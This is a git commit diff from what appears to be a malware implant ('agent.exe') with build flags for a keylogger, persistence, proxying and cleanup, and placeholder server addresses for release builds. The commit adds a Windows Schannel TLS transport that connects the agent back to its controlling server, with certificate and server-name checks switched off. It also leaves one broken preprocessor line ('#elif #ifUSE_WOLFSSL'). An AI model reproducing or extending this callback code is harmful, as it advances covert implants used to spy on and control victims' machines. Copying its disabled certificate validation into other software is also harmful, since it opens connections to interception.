Windows Schannel transport and prototype of https listener

This commit is contained in:
Pavlo Khazov
2025-05-03 12:32:19 +02:00
parent bb55929725
commit d0652b9aa5
10 changed files with 478 additions and 70 deletions

View File

@@ -11,7 +11,8 @@ EXEC = $(BIN_DIR)/agent.exe
CFLAGS = -flto -Os -DTESTING_BUILD
# Define feature flags
USE_WOLFSSL = TRUE
USE_SCHANNEL = FALSE
USE_WOLFSSL = FALSE
ENABLE_PROXY = FALSE
ENABLE_PERSISTENCE = FALSE
ENABLE_KEYLOGGER = FALSE
@@ -44,14 +45,17 @@ else
CFLAGS += -DENABLE_KEYLOGGER=FALSE
endif
# Add transport implementation based on USE_WOLFSSL
ifeq ($(USE_WOLFSSL),TRUE)
# Add transport implementation based on USE_SCHANNEL or USE_WOLFSSL
ifeq ($(USE_SCHANNEL),TRUE)
CFLAGS += -DUSE_SCHANNEL=TRUE
LDFLAGS += -lsecur32
SRC_FILES += transport_schannel.c
else ifeq ($(USE_WOLFSSL),TRUE)
CFLAGS += -DUSE_WOLFSSL=TRUE
LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32
INCLUDE_DIR += -I./lib/wolfssl-compiled/include
SRC_FILES += transport_wolfssl.c
else
CFLAGS += -DUSE_WOLFSSL=FALSE
SRC_FILES += transport_tcp.c
endif
@@ -97,6 +101,7 @@ run: $(EXEC)
# Show current configuration
info:
@echo "Build configuration:"
@echo " USE_SCHANNEL: $(USE_SCHANNEL)"
@echo " USE_WOLFSSL: $(USE_WOLFSSL)"
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
@@ -104,6 +109,8 @@ info:
@echo " Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
@echo " Source files: $(notdir $(SOURCES))"
@echo " CFLAGS: $(CFLAGS)"
@echo " LDFLAGS: $(LDFLAGS)"
@echo " INCLUDE_DIR: $(INCLUDE_DIR)"
install:
@echo "Install target not implemented."

View File

@@ -19,8 +19,16 @@ LARGE_INTEGER start, end, freq;
#if TESTING_BUILD
char agentID[] = "Agent";
char* serverDomains[] = {"192.168.1.4"};
unsigned short int SERVER_PORT = 8443;
int startupDelay = 0;
#if USE_SCHANNEL
unsigned short int SERVER_PORT = 8443;
#elif #ifUSE_WOLFSSL
unsigned short int SERVER_PORT = 8443;
#else
unsigned short int SERVER_PORT = 8888;
#endif
#else
char agentID[] = "PLACEHOLDER_AGENT_ID";
char* serverDomains[] = {"PLACEHOLDER_SERVER_ADDR"};

View File

@@ -8,6 +8,10 @@
#define USE_WOLFSSL FALSE
#endif
#ifndef USE_SCHANNEL
#define USE_SCHANNEL FALSE
#endif
// Modules
#ifndef ENABLE_PERSISTENCE
#define ENABLE_PERSISTENCE FALSE
@@ -40,7 +44,6 @@
#define CLEANUP_METHOD FALSE
#endif
// For builds with make
#ifndef TESTING_BUILD
#define TESTING_BUILD FALSE

View File

@@ -3,15 +3,15 @@
#include "config.h"
#include "transport.h"
#if USE_WOLFSSL
extern Transport* InitWolfSSLTransport(const char* domain, unsigned short port);
#else
extern Transport* InitTCPTransport(const char* domain, unsigned short port);
#ifndef SNI_HOSTNAME
#define SNI_HOSTNAME "myserver.local" // Default SNI hostname; override in config.h if needed
#endif
Transport* InitTransport(const char* domain, unsigned short port) {
printf("Next host: %s on port %d\n", domain, port);
#if USE_WOLFSSL
#if USE_SCHANNEL
return InitSchannelTransport(domain, port, SNI_HOSTNAME);
#elif USE_WOLFSSL
return InitWolfSSLTransport(domain, port);
#else
return InitTCPTransport(domain, port);

View File

@@ -5,7 +5,7 @@
// Transport abstraction
typedef struct {
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET)
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET or Schannel context)
int (*send) (void* handle, const char* data, size_t len);
int (*recv) (void* handle, char* buffer, size_t len);
void (*cleanup) (void* handle);
@@ -15,4 +15,13 @@ Transport* InitTransport(const char* domain, unsigned short port);
void CleanupTransport(Transport* transport);
char* GetNextDomain();
#if USE_SCHANNEL
extern Transport* InitSchannelTransport(const char* domain, unsigned short port, const char* sni_hostname);
#endif
#if USE_WOLFSSL
extern Transport* InitWolfSSLTransport(const char* domain, unsigned short port);
#else
extern Transport* InitTCPTransport(const char* domain, unsigned short port);
#endif
#endif // TRANSPORT_H

234
agent/transport_schannel.c Normal file
View File

@@ -0,0 +1,234 @@
#define SECURITY_WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#include <schannel.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "transport.h"
#define BUFFER_SIZE 4096
// Structure to hold SChannel connection state
typedef struct {
SOCKET sock;
CredHandle cred;
SecHandle ctx;
SecPkgContext_StreamSizes sizes;
BOOL initialized;
} SchannelHandle;
// Initialize SChannel and perform TLS handshake
static BOOL init_schannel(SchannelHandle* handle, const char* domain, unsigned short port, const char* sni_hostname) {
// Initialize Winsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "Error: WSAStartup failed: %d\n", WSAGetLastError());
return FALSE;
}
// Create socket
handle->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (handle->sock == INVALID_SOCKET) {
fprintf(stderr, "Error: Failed to create socket: %d\n", WSAGetLastError());
WSACleanup();
return FALSE;
}
// Set up server address
struct sockaddr_in server = { .sin_family = AF_INET, .sin_port = htons(port) };
if (InetPtonA(AF_INET, domain, &server.sin_addr) <= 0) {
fprintf(stderr, "Error: Failed to resolve domain %s\n", domain);
closesocket(handle->sock);
WSACleanup();
return FALSE;
}
// Connect
if (connect(handle->sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
fprintf(stderr, "Error: Failed to connect to %s:%d: %d\n", domain, port, WSAGetLastError());
closesocket(handle->sock);
WSACleanup();
return FALSE;
}
// Initialize Schannel credentials
SCHANNEL_CRED schannelCred = { .dwVersion = SCHANNEL_CRED_VERSION, .grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT,
.dwFlags = SCH_CRED_NO_SERVERNAME_CHECK | SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_MANUAL_CRED_VALIDATION };
SECURITY_STATUS status = AcquireCredentialsHandle(NULL, UNISP_NAME, SECPKG_CRED_OUTBOUND,
NULL, &schannelCred, NULL, NULL, &handle->cred, NULL);
if (status != SEC_E_OK) {
fprintf(stderr, "Error: AcquireCredentialsHandle failed: 0x%x\n", status);
closesocket(handle->sock);
WSACleanup();
return FALSE;
}
// Perform TLS handshake
SecBufferDesc outBuffer, inBuffer;
SecBuffer outBuffers[2] = { {0, SECBUFFER_TOKEN, NULL}, {0, SECBUFFER_EMPTY, NULL} };
SecBuffer inBuffers[2] = { {BUFFER_SIZE, SECBUFFER_TOKEN, malloc(BUFFER_SIZE)}, {0, SECBUFFER_EMPTY, NULL} };
outBuffer.cBuffers = 2; outBuffer.pBuffers = outBuffers; outBuffer.ulVersion = SECBUFFER_VERSION;
inBuffer.cBuffers = 2; inBuffer.pBuffers = inBuffers; inBuffer.ulVersion = SECBUFFER_VERSION;
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY |
ISC_REQ_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM;
BOOL first = TRUE;
int bufferLen;
while (TRUE) {
status = InitializeSecurityContext(&handle->cred, first ? NULL : &handle->ctx, sni_hostname, flags, 0, 0,
first ? NULL : &inBuffer, 0, first ? &handle->ctx : NULL, &outBuffer, &flags, NULL);
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) {
if (outBuffers[0].cbBuffer && outBuffers[0].pvBuffer) {
send(handle->sock, outBuffers[0].pvBuffer, outBuffers[0].cbBuffer, 0);
FreeContextBuffer(outBuffers[0].pvBuffer);
outBuffers[0].pvBuffer = NULL;
}
}
if (status == SEC_E_OK) {
break;
}
if (status != SEC_I_CONTINUE_NEEDED) {
fprintf(stderr, "Error: InitializeSecurityContext failed: 0x%x\n", status);
free(inBuffers[0].pvBuffer);
closesocket(handle->sock);
DeleteSecurityContext(&handle->ctx);
FreeCredentialsHandle(&handle->cred);
WSACleanup();
return FALSE;
}
bufferLen = recv(handle->sock, inBuffers[0].pvBuffer, BUFFER_SIZE, 0);
if (bufferLen <= 0) {
fprintf(stderr, "Error: recv failed: %d\n", WSAGetLastError());
free(inBuffers[0].pvBuffer);
closesocket(handle->sock);
DeleteSecurityContext(&handle->ctx);
FreeCredentialsHandle(&handle->cred);
WSACleanup();
return FALSE;
}
inBuffers[0].cbBuffer = bufferLen;
first = FALSE;
}
free(inBuffers[0].pvBuffer);
// Get stream sizes for encryption/decryption
status = QueryContextAttributes(&handle->ctx, SECPKG_ATTR_STREAM_SIZES, &handle->sizes);
if (status != SEC_E_OK) {
fprintf(stderr, "Error: QueryContextAttributes failed: 0x%x\n", status);
closesocket(handle->sock);
DeleteSecurityContext(&handle->ctx);
FreeCredentialsHandle(&handle->cred);
WSACleanup();
return FALSE;
}
handle->initialized = TRUE;
return TRUE;
}
// Send encrypted data
static int schannel_send(void* handle, const char* data, size_t len) {
SchannelHandle* schannel = (SchannelHandle*)handle;
if (!schannel->initialized) return -1;
// Allocate buffer for encrypted data
char* sendBuffer = (char*)malloc(schannel->sizes.cbHeader + len + schannel->sizes.cbTrailer);
if (!sendBuffer) return -1;
memcpy(sendBuffer + schannel->sizes.cbHeader, data, len);
// Set up encryption buffers
SecBuffer encryptBuffers[4] = {
{schannel->sizes.cbHeader, SECBUFFER_STREAM_HEADER, sendBuffer},
{len, SECBUFFER_DATA, sendBuffer + schannel->sizes.cbHeader},
{schannel->sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, sendBuffer + schannel->sizes.cbHeader + len},
{0, SECBUFFER_EMPTY, NULL}
};
SecBufferDesc encryptDesc = { SECBUFFER_VERSION, 4, encryptBuffers };
// Encrypt and send
SECURITY_STATUS status = EncryptMessage(&schannel->ctx, 0, &encryptDesc, 0);
if (status != SEC_E_OK) {
free(sendBuffer);
return -1;
}
int totalSize = encryptBuffers[0].cbBuffer + encryptBuffers[1].cbBuffer + encryptBuffers[2].cbBuffer;
int sent = send(schannel->sock, sendBuffer, totalSize, 0);
free(sendBuffer);
return sent == totalSize ? len : -1;
}
// Receive and decrypt data
static int schannel_recv(void* handle, char* buffer, size_t len) {
SchannelHandle* schannel = (SchannelHandle*)handle;
if (!schannel->initialized) return -1;
char recvBuffer[BUFFER_SIZE];
int recvLen = recv(schannel->sock, recvBuffer, BUFFER_SIZE, 0);
if (recvLen <= 0) return recvLen;
// Set up decryption buffers
SecBuffer decryptBuffers[4] = {
{recvLen, SECBUFFER_DATA, recvBuffer},
{0, SECBUFFER_EMPTY, NULL},
{0, SECBUFFER_EMPTY, NULL},
{0, SECBUFFER_EMPTY, NULL}
};
SecBufferDesc decryptDesc = { SECBUFFER_VERSION, 4, decryptBuffers };
SECURITY_STATUS status = DecryptMessage(&schannel->ctx, &decryptDesc, 0, NULL);
if (status != SEC_E_OK) return -1;
// Find and copy decrypted data
for (int i = 0; i < 4; i++) {
if (decryptBuffers[i].BufferType == SECBUFFER_DATA && decryptBuffers[i].cbBuffer > 0) {
size_t copyLen = min(decryptBuffers[i].cbBuffer, len);
memcpy(buffer, decryptBuffers[i].pvBuffer, copyLen);
return copyLen;
}
}
return 0;
}
// Cleanup SChannel resources
static void schannel_cleanup(void* handle) {
SchannelHandle* schannel = (SchannelHandle*)handle;
if (schannel->initialized) {
DeleteSecurityContext(&schannel->ctx);
FreeCredentialsHandle(&schannel->cred);
if (schannel->sock != INVALID_SOCKET) {
shutdown(schannel->sock, SD_BOTH);
closesocket(schannel->sock);
}
WSACleanup();
}
free(schannel);
}
// Initialize SChannel transport
Transport* InitSchannelTransport(const char* domain, unsigned short port, const char* sni_hostname) {
SchannelHandle* handle = (SchannelHandle*)calloc(1, sizeof(SchannelHandle));
if (!handle) {
fprintf(stderr, "Error: Failed to allocate memory for Schannel handle\n");
return NULL;
}
if (!init_schannel(handle, domain, port, sni_hostname)) {
free(handle);
return NULL;
}
Transport* transport = (Transport*)malloc(sizeof(Transport));
if (!transport) {
schannel_cleanup(handle);
return NULL;
}
transport->handle = handle;
transport->send = schannel_send;
transport->recv = schannel_recv;
transport->cleanup = schannel_cleanup;
return transport;
}